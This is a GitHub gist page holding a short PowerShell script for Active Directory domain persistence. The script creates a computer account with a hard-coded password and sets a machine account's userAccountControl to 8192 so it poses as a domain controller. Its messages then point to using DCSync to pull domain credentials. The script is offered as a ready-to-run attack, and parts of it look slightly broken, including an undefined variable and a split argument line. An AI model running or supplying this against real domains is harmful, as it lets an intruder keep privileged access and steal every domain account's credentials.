Skip to content

Instantly share code, notes, and snippets.

@iamtutu
Forked from netbiosX/userAccountControl.ps1
Created January 18, 2022 05:26
Show Gist options
  • Save iamtutu/1b22d3ec817da01c5ab2a37490c7da7d to your computer and use it in GitHub Desktop.
Save iamtutu/1b22d3ec817da01c5ab2a37490c7da7d to your computer and use it in GitHub Desktop.

Revisions

  1. @netbiosX netbiosX created this gist Jan 17, 2022.
    26 changes: 26 additions & 0 deletions userAccountControl.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,26 @@
    function Execute-userAccountControl
    {
    [CmdletBinding()]
    param
    (
    [System.String]$DomainFQDN = $ENV:USERDNSDOMAIN,
    [System.String]$ComputerName = 'Pentestlab',
    [System.String]$OSVersion = '10.0 (18363)',
    [System.String]$OS = 'Windows 10 Enterprise',
    [System.String]$DNSName = "$ComputerName.$DomainFQDN",
    $MachineAccount = 'Pentestlab'
    )
    $secureString = convertto-securestring "Password123" -asplaintext -force
    $VerbosePreference = "Continue"

    Write-Verbose -Message "Creating Computer Account: $ComputerName"
    New-ADComputer $ComputerName -AccountPassword $securestring -Enabled $true -OperatingSystem $OS -OperatingSystemVersion $OS_Version -DNSHostName
    $DNSName -ErrorAction Stop;
    Write-Verbose -Message "$ComputerName created!"
    Write-Verbose -Message "Attempting to establish persistence."
    Write-Verbose -Message "Changing the userAccountControl attribute of $MachineAccount computer to 8192."
    Set-ADComputer $MachineAccount -replace @{ "userAccountcontrol" = 8192 };
    Write-Verbose -Message "$MachineAccount is now a Domain Controller!"
    Write-Verbose -Message "Domain persistence established!You can now use the DCSync technique with Pentestlab credentials."
    $VerbosePreference = "Continue"
    }